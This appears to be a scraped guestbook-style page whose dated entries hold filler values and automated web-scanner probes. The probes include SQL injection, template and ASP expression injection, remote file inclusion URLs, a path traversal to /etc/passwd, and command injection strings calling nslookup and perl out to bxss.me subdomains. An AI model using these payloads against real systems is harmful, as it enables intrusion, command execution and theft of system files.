Sunday, June 14, 2020

http://bxss.me/t/fit.txt?.jpg

TkFIUXl2WUg=

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

Http://bxss.me/t/fit.txt

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

1some_inexistent_file_with_long_name.jpg

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

CpjJwWHV

Sunday, June 14, 2020

-1 OR 3*2>(0+5+847-847) --

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

${9999759+9999724}

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

../CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

${9999556+10000444}

CpjJwWHV

Sunday, June 14, 2020

555

12345'"\'\");|]*{ <>�''💡

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

-1 OR 3*2<(0+5+847-847) --

"+response.write(9692760*9925740)+"

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

;(nslookup hitarntgzgasib9dce.bxss.me||perl -e "gethostbyname('hitarntgzgasib9dce.bxss.me')")|(nslookup hitarntgzgasib9dce.bxss.me||perl -e "gethostbyname('hitarntgzgasib9dce.bxss.me')")&(nslookup hitarntgzgasib9dce.bxss.me||perl -e "gethostbyname('hitarntgzgasib9dce.bxss.me')")

../../../../../../../../../../etc/passwd

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

'+response.write(9692760*9925740)+'

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

`(nslookup hituvfzwnmipo91730.bxss.me||perl -e "gethostbyname('hituvfzwnmipo91730.bxss.me')")`

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

response.write(9692760*9925740)

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

|(nslookup hitxhdzceuums1ce0e.bxss.me||perl -e "gethostbyname('hitxhdzceuums1ce0e.bxss.me')")

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

&(nslookup hitltwcbfrerofdfaf.bxss.me||perl -e "gethostbyname('hitltwcbfrerofdfaf.bxss.me')")&'\"`0&(nslookup hitltwcbfrerofdfaf.bxss.me||perl -e "gethostbyname('hitltwcbfrerofdfaf.bxss.me')")&`'

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

12345'"\'\");|]*{ <>�''💡

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

$(nslookup hitkpbglanedk54a26.bxss.me||perl -e "gethostbyname('hitkpbglanedk54a26.bxss.me')")

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

555

CpjJwWHV

Sunday, June 14, 2020

(nslookup hitzvpsexawwf4c535.bxss.me||perl -e "gethostbyname('hitzvpsexawwf4c535.bxss.me')")